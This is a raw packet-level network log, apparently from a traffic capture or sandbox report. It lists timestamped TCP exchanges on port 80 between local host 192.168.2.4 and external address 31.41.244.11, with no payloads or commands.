Dec 21, 2024 18:16:49.273664951 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.273719072 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.274573088 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.274625063 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.274626970 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.274682999 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.275469065 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.275546074 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.275643110 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.275693893 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.276396990 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.276444912 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.276547909 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.276599884 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.277384996 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.277436018 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.277436972 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.277486086 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.278371096 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.278424978 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.278606892 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.278652906 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.279567003 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.279617071 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.279619932 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.279668093 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.422698975 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.422755003 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.422936916 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.423018932 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.423062086 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.423239946 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.423778057 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.423824072 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.423877001 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.424398899 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.424799919 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.424971104 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.425087929 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.425122976 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.425281048 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.425282001 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.426091909 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.426232100 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.426244020 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.426568985 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.427143097 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.427206993 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.427247047 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.427299023 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.428049088 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.428167105 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.428231001 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.428900957 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.429061890 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.429119110 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.429752111 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.429866076 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.429919958 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.430670023 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.430721045 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.430799007 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.431636095 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.431687117 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.431740046 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.431798935 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.432574034 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.432632923 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.432674885 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.432722092 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.433494091 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.433552027 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.433639050 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.433693886 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.434405088 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.434535980 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.434580088 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.435498953 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.435575008 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.435723066 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.435772896 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.436366081 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.436503887 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.436564922 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.437273979 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.437376022 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.437397957 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.438208103 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.438263893 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.438282013 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.439197063 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.439255953 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.439338923 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.439409971 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.440191031 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.440263033 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.440329075 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.440581083 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.441035032 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.441087008 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.441164017 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.441211939 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.442127943 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.442178965 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.442219973 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.442269087 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.443090916 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.443217993 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.443278074 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.444010973 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.444139004 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.444209099 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.444823027 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.444878101 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.444935083 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.446557045 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.446713924 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.446753025 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.446804047 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.447678089 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.447755098 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.447799921 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.447849989 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.448453903 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.448503971 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.448570967 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.448620081 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.449362040 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.449419975 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.449440956 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.449486017 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.450464010 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.450555086 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.450615883 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.451013088 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.451117992 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.451169014 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.451633930 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.451684952 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.451772928 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.452369928 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.452419043 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.452497959 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.452955008 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.453289032 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.453393936 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.453423977 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.453474045 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.454282045 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.454332113 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.454334974 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.454385996 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.455163956 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.455343962 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.455389977 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.456094980 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.456208944 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.456242085 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.456293106 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.457098961 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.457230091 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.457279921 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.458009005 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.458121061 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.458172083 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.459084988 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.459182978 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.459189892 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.459964991 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.460020065 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.460088968 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.460638046 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.461014986 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.461158991 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.461210966 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.461256981 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.462171078 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.462222099 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.462352991 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.462502003 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.463388920 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.463480949 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.463562012 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.463607073 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.464798927 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.464857101 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.464988947 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.465332985 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.466281891 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.466454029 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.466510057 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.467183113 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.467245102 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.467293978 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.468182087 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.468240023 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.468308926 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.468482971 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.469160080 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.469261885 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.469264030 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.469321012 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.470104933 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.470163107 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.470273018 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.470318079 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.471498013 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.471555948 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.471621990 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.471664906 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.472605944 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.472650051 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.472714901 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.472764015 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.473690987 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.473845959 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.473903894 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.615417004 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.615467072 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.615623951 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.615623951 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.615969896 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.616024017 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.616084099 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.616708994 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.616763115 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.616811037 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.617320061 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.617613077 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.617662907 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.617681026 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.617728949 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.618598938 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.618712902 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.618757963 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.618863106 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.619488001 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.619630098 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.619632006 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.619888067 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.620523930 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.620559931 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.620579958 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.620630980 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.621404886 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.621459961 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.621505976 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.622222900 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.622364998 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.622481108 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.622482061 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.622530937 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.623464108 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.623518944 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.623573065 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.624615908 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.624669075 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.624702930 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.624716997 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.625276089 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.625332117 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.625403881 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.626111984 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.626171112 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.626274109 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.626741886 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.627017975 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.627087116 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.627120018 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.627295017 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.627971888 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.628031015 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.628176928 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.628603935 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.628985882 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.629044056 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.629131079 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.629188061 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.629846096 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.629899979 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.629971981 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.630106926 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.630867004 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.630923033 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.630994081 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.631148100 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.631747961 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.631890059 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.632674932 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.632734060 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.632811069 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.633635998 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.633899927 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.633970976 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.634202003 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.634258986 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.635459900 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.635570049 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.636090994 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.636145115 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.636204958 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.636693954 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.636827946 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.636885881 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.637428999 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.637588978 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.637700081 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.638348103 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.638469934 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.638531923 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.639357090 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.639528036 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.639535904 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.639575958 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.640317917 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.640428066 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.640439034 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.641230106 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.641359091 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.641365051 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.642118931 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.642177105 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.642237902 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.643125057 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.643219948 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.643276930 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.643989086 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.644123077 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.644978046 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.645035028 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.645097017 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.645697117 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.645948887 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.646135092 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.646859884 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.646912098 CET	49866	80	192.168.2.4	31.41.244.11
Dec 21, 2024 18:16:49.646974087 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.647979975 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.648122072 CET	80	49866	31.41.244.11	192.168.2.4
Dec 21, 2024 18:16:49.648185015 CET	49866	80	192.168.2.4	31.41.244.11
